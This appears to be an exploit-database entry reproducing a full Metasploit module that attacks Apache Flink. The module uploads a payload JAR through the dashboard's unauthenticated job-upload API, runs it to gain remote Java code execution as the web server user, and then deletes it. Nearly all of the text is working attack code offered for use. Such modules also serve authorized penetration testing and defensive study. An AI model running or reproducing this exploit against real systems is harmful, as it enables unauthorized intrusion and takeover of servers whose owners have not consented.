Apache Flink JAR Upload Java Code Execution



EKU-ID: 8284 CVE: OSVDB-ID:
Author: bcoles Published: 2021-02-24 Verified: Verified
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Flink JAR Upload Java Code Execution',
        'Description' => %q{
          This module uses job functionality in Apache Flink dashboard web
          interface to upload and execute a JAR file, leading to remote
          execution of arbitrary Java code as the web server user.

          This module has been tested successfully on Apache Flink versions:
          1.9.3 on Ubuntu 18.04.4;
          1.11.2 on Ubuntu 18.04.4;
          1.9.3 on Windows 10; and
          1.11.2 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Henry Chen', # Initial technique demonstration and writeup
            'bigger.wing', # Python exploit
            'bcoles' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '48978'],
            ['PACKETSTORM', '159779'],
            ['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'],
            ['URL', 'https://s.tencent.com/research/bsafe/841.html'],
            ['URL', 'https://cloud.tencent.com/developer/article/1540439'],
            ['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'],
          ],
        'Platform' => 'java',
        'Arch' => [ARCH_JAVA],
        'Targets' =>
          [
            ['Automatic', {}]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2019-11-13',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
            'Stability' => [ CRASH_SAFE ],
            'Reliability' => [ REPEATABLE_SESSION]
          }
      )
    )

    register_options([
      Opt::RPORT(8081)
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'config')
    })

    unless res
      return CheckCode::Unknown('No reply.')
    end

    unless res.body.include?('flink')
      return CheckCode::Safe('Target is not Apache Flink.')
    end

    version = res.get_json_document['flink-version']
    if version
      return CheckCode::Appears("Apache Flink version #{version}.")
    end

    CheckCode::Appears
  end

  def delete_jar(filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', filename),
      'method' => 'DELETE',
      'ctype' => 'application/json;charset=UTF-8'
    )
  end

  def list_jars
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars'),
      'method' => 'GET'
    )
  end

  def upload_jar(filename, data)
    post_data = Rex::MIME::Message.new
    post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name=\"jarfile\"; filename=\"#{filename}\"")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', 'upload'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
  end

  def run_jar(filename, entry_class)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'),
      'method' => 'POST',
      'ctype' => 'application/json;charset=UTF-8',
      'vars_get' => {
        'entry-class' => entry_class
      },
      'data' => {
        entryClass: entry_class,
        parallelism: nil,
        programArgs: nil,
        savepointPath: nil,
        allowNonRestoredState: nil
      }.to_json
    )
  end

  def cleanup
    return unless @jar

    print_status("Removing JAR file '#{@jar}' ...")

    res = delete_jar(@jar)

    unless res && res.code == 200
      print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'")
    end
  end

  def exploit
    data = generate_payload.encoded_jar.pack
    fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data

    filename = "#{rand_text_alpha(8..12)}.jar"

    print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")

    res = upload_jar(filename, data)

    unless res
      fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
    end

    unless res.get_json_document['status'] == 'success'
      fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')
    end

    print_status('Retrieving list of avialable JAR files ...')

    res = list_jars

    unless res
      fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")
    end

    jars = res.get_json_document['files']

    if jars.blank?
      fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.')
    end

    jars.each do |jar|
      if jar['name'] == filename
        @jar = jar['id']
        break
      end
    end

    unless @jar
      fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.')
    end

    print_good("Found uploaded JAR file '#{@jar}'")

    entry_class = 'metasploit.Payload'
    print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...")

    run_jar(@jar, entry_class)
  end
end